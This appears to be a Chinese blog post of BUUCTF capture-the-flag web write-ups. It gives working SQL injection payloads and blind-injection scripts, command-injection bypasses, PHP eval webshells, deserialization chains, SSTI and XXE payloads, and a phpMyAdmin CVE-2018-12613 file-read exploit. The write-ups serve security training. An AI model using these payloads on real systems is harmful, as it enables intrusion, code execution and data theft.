Featured image of post buuctf刷题

buuctf刷题

buuctf

1、[极客大挑战 2019]EasySQL

进去猜闭合方式

单引号闭合

尝试万能密码登入

1
2
username=1' or true#
password=1' or true#

2、[极客大挑战 2019]Havefun

查看源码要get传cat的值为dog

1
?cat=dog

3、[HCTF 2018]WarmUp

查看源码source.php

白名单只有source.php和hint.php,文件包含传file参数,且有?截断

查看hint.php

image-20250110165335659

1
http://347210bf-0468-4578-89c6-04af275f9312.node5.buuoj.cn:81/source.php?file=source.php?../../../../../ffffllllaaaagggg

往上跳目录查找

image-20250110165958069

4、[ACTF2020 新生赛]Include

题目提示了文件包含,要查看flag.php文件

用到php伪协议封装

1
php://filter/read=convert.base64-encode/resource=xxx.php

这题直接

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码

就得到flag

5、[ACTF2020 新生赛]Exec

简单的rce

1
2
ip;ls /
ip;cd /;cat /flag

image-20250110173300406

6、[GXYCTF2019]Ping Ping Ping

尝试了好久感觉flag名字被过滤了,还有空格过滤

先查看index.php

1
http://41313055-4ac6-4251-8b42-bee9bd416efc.node5.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php

image-20250110174908430

方法一:变量拼接字符串——将a的值覆盖,然后进行绕过

1
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

然后查看源码得到flag

方法二:内联执行

内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

反引号在linux中作为内联执行,执行输出结果。也就是说

1
cat `ls` //执行ls输出 index.php  flag.php 。然后再执行 cat flag.php;cat index.php
1
/?ip=127.0.0.1;cat$IFS$9`ls`

方法三:sh命令来执行

加密命令 echo “cat flag.php” | base64 解密命令并执行 echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

1
/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

7、[SUCTF 2019]EasySQL

尝试很多闭合方式都回显nonono

尝试堆叠注入

1
2
1;show databases;
1;show tables;

可以看到flag应该在Flag表中

输入非0数字–有会显,输入0或字母–没有回显

由此可以猜测后端代码含有||或or运算符

1
2
3
4
5
6
7
select command1 || command2 

情况一:若command1为非0数字,则结果为1。

情况二:若command1为0或字母,command2为非0数字,则结果为1。

情况三:command1和command2都不为非0数字,则结果为0。

方法一:使用 sql_mode 中的 PIPES_AS_CONCAT 函数

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

select 1 || flag from Flag的意思将变成 先查询1 再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起

1
1;sql_mode=PIPES_AS_CONCAT;select 1

方法二:利用非预期漏洞获取flag

若输入1,1。那么sql语句就变成了 select 1, 1 || flag from Flag。其中由 [1] 和 [1 || flag] 两部分组成,而非 [1,1] || [flag]。非预期漏洞是利用数据库对符号判断的不准确形成的漏洞。

1
*,1

输入 *,1 后,sql语句就变成了 select * , 1 || flag from Flag。

其中分为两部分: (1) select * from Flag(2) select 1 || flag from Flag。

8、[极客大挑战 2019]LoveSQL

单引号闭合

尝试联合注入

1
-1' union select 1,database(),version()#

爆出数据库名是geek

1
2
?id=-1' union select 1,2,group_concat(schema_name) from
information_schema.schemata#
1
2
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables
where table_schema=database()#
1
2
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='l0ve1ysq1'#
1
2
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from
l0ve1ysq1)#

然后查看源码就得到flag

9、[强网杯 2019]随便注

闭合方式为单引号

后面联合查询回显了过滤的字符

用堆叠注入

1
1';show databases;#
1
1';show tables;#

出来两个表

1
2
1'; show columns from words;#
1'; show columns from `1919810931114514`;#

这边注意数字要用`反引号包起来

数字表中有flag

payload

1
2
3
4
5
6
7
8
9
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 

3 ,给新 words 表添加新的列名 id 

4,将 flag 改名为 data 

或者

1
2
3
4
1;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

words表名改为words11919810931114514表名改为words,将现在的words表中的flag列名改为id
然后用1 or 1=1 #得到flag

解法二

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
payload
先把0xselect * from `1919810931114514` 16进制编码
1;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

SELECT可以在一条语句里对多个变量同时赋值,SET只能一次对一个变量赋值,如下:
复制代码 代码如下:
SELECT @VAR1=Y,@VAR2=N
 SET要达到同样的效果,需要:
SET @VAR1=Y
SET @VAR2=N
preparefrom…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句

解法三

用handler命令查看,

1
2
3
4
5
1'; handler 1919810931114514 open as a;handler a read next;#
handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数

10、[极客大挑战 2019]Secret File

查看源码,发现其他php文件

end.php前面的文件抓包

image-20250110202811560

发现secr3t.php

image-20250110202903072

访问flag.php

用前面Include的方法php伪协议

1
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

image-20250110203206112

11、[极客大挑战 2019]Http

查看源码发现Secret.php

It doesn’t come from ‘https://www.Sycsecret.com’,也就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

image-20250110210415792

添加User-Agent:Syclover

image-20250110210613494

添加X-Forwarded-For:127.0.0.1

image-20250110210725577

12、[极客大挑战 2019]Upload

要求上传图片,我们把文件类型改为image/jpeg

下面补上GIF89a

上传的内容被识别出<?要改为

1
<script language='php'>@eval($_POST['cmd']);</script>

然后尝试等价后缀名,最后phtml上传成功,进upload目录,蚁剑连接

13、[极客大挑战 2019]Knife

蚁剑连接

14、[ACTF2020 新生赛]Upload

前端验证把onsubmit删掉,后面跟12题一样

15、[极客大挑战 2019]BabySQL

单引号闭合,然后很多被过滤了,都用双写绕过,check.php后拼接

1
username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1

16、[极客大挑战 2019]PHP

www.zip下载源码

反序列化

1
2
3
4
5
6
7
8
9
<?php

class Name{
    private $username = 'admin';
    private $password =  '100';
}

$select = new Name();
echo serialize($select);

把结果的奇怪符号用%00代替,%00是空格的url编码

17、[ACTF2020 新生赛]BackupFile

php弱比较key=123

18、[RoarCTF 2019]Easy Calc

源码里面查看calc.php

num传参只能传数字,但是我们用+num或者空格num就能传字符,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

过滤/,我们用chr(47)绕过,phpinfo();看到禁用system,用var_dump(scandir(/))

看到flag是f1agg

1
+num=1;var_dump(file_get_contents(chr(47).f1agg))

19、[极客大挑战 2019]BuyFlag

密码弱比较,money用1e9或者money[]=1数组绕过,cookie里面user改为1

image-20250206172645773

20、BJDCTF2020]Easy MD5

打开网络,看到hint

image-20250207104904850

1
select * from 'admin' where password=md5($pass,true)

要在password这里拼接一个or 1就可以使结果为真

md5加密后得到hash值,sql语句会把hex值转为ascii

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6

拼接后结果也为真

计算脚本

1
2
3
4
5
6
7
8
<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

md5函数

md5 函数通常用于计算输入字符串的 MD5 哈希值。md5(string, raw) 这种形式的函数调用中,string 是需要进行哈希计算的输入字符串,而 raw 是一个布尔类型的参数,用于指定返回的哈希值的格式。

string:这是必需的参数,代表要进行 MD5 哈希计算的原始字符串数据。可以是任意长度的文本信息,例如用户密码、文件内容等。 raw:这是一个可选参数,不同编程语言对该参数的处理和含义可能有所不同,但一般来说: 当 raw 为 true 或者类似表示真的值时,函数会返回原始的 128 位(16 字节)二进制格式的哈希值。 当 raw 为 false 或者类似表示假的值时,函数会返回以 32 位十六进制字符串形式表示的哈希值。 接下来是md5弱比较,开头为0e就行

1
2
3
4
5
6
7
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570
GZECLQZ 0e537612333747236407713628225676
GGHMVOE 0e362766013028313274586933780773
GEGHBXL 0e248776895502908863709684713578
EEIZDOI 0e782601363539291779881938479162
DYAXWCA 0e424759758842488633464374063001

然后是md5强比较,数组绕过

1
2
3
4
5
param1[]=1&param2[]=2
或者确实有a!=b但是MD5值相同的
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
或者
a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

21、[HCTF 2018]admin

随便注册账号有个修改密码的选项

查看源码

这里有一个链接但是失效了,网上找别人的wp,得到secret_key=ckj123,需要伪造session

image-20250207114708477

然后改session,得到flag

image-20250207114736442

unicode欺骗,源码里面有strlower函数,我们创建一个大写的ADMIN账户,会被编译成小写的,然后修改密码就能登入,但随后发现注册和登录都用了转小写,注册ADMIN的计划失败

1
2
3
def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里的nodeprep.prepare存在漏洞

ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ这种编码会先转为大写的,再转为小写,就能伪造admin

1
ᴀ -> A -> a
  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

22、[MRCTF2020]你传你🐎呢

传.htaccess文件把jpg转为php,抓包改文件格式,这里jpg不行要用png,上传蚁剑连接

23、[ZJCTF 2019]NiZhuanSiWei

text用data传值,然后file传useless.php看php内容

image-20250207135556890

还有一个password要反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
 
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

24、[极客大挑战 2019]HardSQL

空格和/**/被过滤了,用()绕过,用报错注入

1
2
3
4
username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),0x7e),1))#&password=1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))),0x7e),1))#&password=1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#&password=1

flag显示不全,substring被过滤,只能用left和right构造

1
username=1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#&password=1

flag{8c32c5d2-2601-4575-b121-a16d5f8c0d2e}

[网鼎杯 2020 青龙组]AreUSerialz

两种解法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
class FileHandler
{

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$o = new FileHandler();
$o = urlencode(serialize($o));//有不可打印字符但又不能丢弃,url编码
$o =str_replace('%00','\00',$o);
//因为检测函数要求字符在ascii码32-125,但是%00不在范围内,要改成\00
$o =str_replace('s','S',$o);
//改为\00后,反序列化后不会识别\00,小写s表示字符串,大写S表示16进制字符串
echo $o;
?>

利用当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。

直接改为public,读取base64编码后的flag.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
class FileHandler
{

    public $op=2;
    public $filename='php://filter/convert.base64-encode/resource=flag.php';
    public $content;
}
$o = new FileHandler();
echo $o = urlencode(serialize($o));
?>

[GXYCTF2019]BabySQli

exp

1
2
' union select 1,'admin', ' 202cb962ac59075b964b07152d234b70 '#
123

源码这里有提示

image-20250208155008477

联合注入,第二位要填admin,第三位填加密后的password

image-20250208155137036

[GYCTF2020]Blacklist

堆叠注入

单引号闭合

1
1';show databases;#

image-20250208155750502

1
1';show tables;#

image-20250208155816697

1
1';show columns from FlagHere;#

image-20250208160224872

这里想用之前的rename,编码转换都不行

image-20250208160451361

用handler语句

1
2
3
4
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;
首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
首先打开数据库,开始循环读取,读取成功后进行关闭操作。

或者直接用之前的payload

1
1';handler FlagHere open as a;handler a read next;#

[CISCN2019 华北赛区 Day2 Web1]Hack World

sql注入,但是过滤空格和联合注入,报错注入,用盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://1e88c184-cbcd-4755-bc2e-1122d382e665.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            break
print(flag)

这里因为是or被过滤用异或符号替代

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

url='http://1e88c184-cbcd-4755-bc2e-1122d382e665.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        n = (int)((max+min)/2)
        payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(n)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(0.005)
        if 'Hello' in str(r.content):
            min=n
        else:
            max=n
        if((max-min)<=1):
            flag+=chr(max)
            print("\r", end="")
            print(flag,end='')
            break

[RoarCTF 2019]Easy Java

点help,发现没什么用,抓包改post

下载下来没用,由于题目名称是java,想到下载web.xml

image-20250208204525222

下载后面这个class类

image-20250208204630903

可以下载下来反编译或者这里就直接有base64编码的字符串

[BSidesCF 2020]Had a bad day

这题主要是用到php://filter伪协议可以套一层协议

1
category=php://filter/convert.base64-encode/resource=index.php

image-20250209103207749

可以看到自动拼接了php后缀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>
1
category=woofers/../flag

尝试目录穿越,直接读取不了flag

这里用到伪协议可以套一层协议

1
category=php://filter/convert.base64-encode/index/resource=flag

[网鼎杯 2020 朱雀组]phpweb

界面一直在自己刷新我们抓包看看

image-20250209135751020

可能是func参数为函数然后p为函数值,我们先查看index.php,用file_get_contents,highlight_file() ,show_source()都行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>
1
2
3
4
5
6
7
8
9
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

这里可以利用反序列化,来rce,因为gettime函数本质是call_user_func函数,可以rce

1
2
3
4
5
6
7
8
<?php
class Test {
    var $p = "ls";
    var $func = "system";
}
$obj = new Test();
echo serialize($obj);
?>

然后前面func传unserialize函数

image-20250209140545313

image-20250209140753435

都没有我们直接find查找

image-20250209140845510

image-20250209140929226

或者

1
2
func=readfile&p=/tmp/flagoefiu4r93
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

这里好像还有非预期

\号后面的命令不会被识别

1
2
func=\system&p=find / -name flag*
func=\system&p=cat /tmp/flagoefiu4r93

[BJDCTF2020]The mystery of ip

smarty注入

image-20250209141534897

image-20250209141639426

image-20250209141659875

[BJDCTF2020]ZJCTF,不过如此

读取next.php内容

image-20250209150818565

下面post传i have a dream

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里发现preg_replace用了/e参数,是存在rce漏洞的

但是这里的第二个参数固定了,接下来引用这篇:文章 - 深入研究preg_replace与代码执行 - 先知社区

image-20250209154052460

image-20250209154107040

1
2
3
反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,然后原来第三个参数输入命令,就会变成第二个,原来的第一个参数写入模糊匹配.*就会匹配现在的第一个参数\1,然后就会触发/e参数漏洞

但是.*在php里面,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,我们改为S*

最终payload

1
2
\S*=${getFlag()}&cmd=system('ls /')
\S*=${getFlag()}&cmd=system('cat /flag')

这里用${}包裹函数,是php可变变量的原因:PHP: 可变变量 - Manual

在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)

[BUUCTF 2018]Online Tool

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这里escapeshellarg和escapeshellcmd函数按这样顺序调用有个漏洞

参考:PHP escapeshellarg()+escapeshellcmd() 之殇

1
2
3
4
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

然后我们只要把想要执行的语句用单引号括起来加空格就能绕过

这里最后用nmap命令,nmap有一个参数-oG可以实现将命令和结果写到文件

1
?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php '

然后蚁剑连接

这里解释一下为什么加引号和空格

如果后面没有加引号,在传文件之后,文件名后会多一个引号

1
2
3
4
5
6
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php
因为先经过escapeshellarg()这个函数处理,先会对前面的单引号进行转义,然后再把前面和后面的内容用单引号括起来连接,因为原本这个单引号前面没有内容,所以前面只会多一对单引号
?host=''\'' <?php @eval($_POST["cmd"]);?> -oG test.php'
然后再经escapeshellcmd()函数处理,escapeshellcmd对\以及最后那个不配对儿的引号进行了转义,还会对这些字符进行转义:
?host=''\\'' \<\?php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php\'
所以最后会多一个单引号

但如果加了引号,但是最后一个引号前面没有加空格,那样文件名后面会多双斜杠

1
2
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php'
''\\'' \<\?\php @eval\($_POST\["cmd"\]\)\;\?\> -oG test.php'\\'''

空格作用就是把文件名后面的双斜杠隔开

[GXYCTF2019]禁止套娃

目录扫描发现.git后面目录有东西,怀疑git源码泄露

githack下载源码

下载了index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

(?R)? : (?R)代表当前表达式,就是这个(/[a-z,_]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))

只能无参rce了

构造payload

1
2
3
4
5
6
7
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件)array_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。

或者用session_id来获得flag

1
?exp=highlight_file(session_id(session_start()));

image-20250210105734729

添加cookie的phpsessid值

[NCTF2019]Fake XML cookbook

xxe漏洞

直接秒了

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///flag">
]>

下面username填&xxe;

[GWCTF 2019]我有一个数据库

我目录扫描扫不出来只能看别人的了

有个robots.txt

没什么用

但是也扫到phpmyadmin

1
/phpmyadmin/index.php

版本为4.8.1,有有个cve漏洞

漏洞复现:phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现_phpmyadmin 4.8.1 远程文件包含漏洞(cve-2018-12613) phpmyadm-CSDN博客

直接抄payload

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

有回显

直接读flag

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

[BJDCTF2020]Mark loves cat

byd扫不出来没设timeout,可以把线程调低,但是太慢了,-t调线程

1
python dirsearch.py -e * -u http://ebc4f861-217c-4e5b-8de7-510518bd30be.node5.buuoj.cn:81/ -t 1 --timeout=2 -x 429

存在git泄露,githack下载源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

主要利用点在这里

1
2
3
4
5
6
7
foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

我们要求最后输出flag,要绕过三个if很困难,但是如果把exit里面的变量覆盖也能输出flag

1
2
3
4
5
6
?yds=flag
这里get传参
$x=yds;$y=flag
$$x=$yds;$$y=$flag
满足第二个条件
这样exit就会返回$flag的值
1
2
?is=flag&flag=flag
满足第三个条件
1
2
3
?handsome=flag&flag=x&x=flag
这里因为get传参,$x=$flag,flag=x,满足第一个条件
或者直接?handsome=flag&flag=handsome

[WUSTCTF2020]朴实无华

这里intval里面的数要小于2020但是+1之后要大于2021

用到科学计数法,刚开始2e5会被解析成2,但是加一之后会被解析为20001,符合条件

1
2
3
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))

要求跟原字符串相同的MD5

只有0e215962017

[BJDCTF2020]Cookie is so stable

cookie有问题,结合这个比赛之前的题目怀疑ssti

image-20250213200047821

1
{{7*'7'}}回显49说明是twig模板注入

直接上payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[CISCN2019 华东南赛区]Web11

smarty注入

直接xff头上{system(‘cat /flag’)}

[MRCTF2020]Ezpop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

先找入口__construct,发现__get()函数会返回一个函数可以触发__invoke方法,所以让p=new Modifier(),这里会调用append来读取var的值,我们var设置为伪协议读flag,还剩两个方法没被触发

__tostring可以由show下面的__wakeup()里面的正则匹配会把source变字符串,所以可以让source=new Show(),触发之后会返回str->source,这里如果将str传给__get(),由于会输出不存在的变量source成功触发

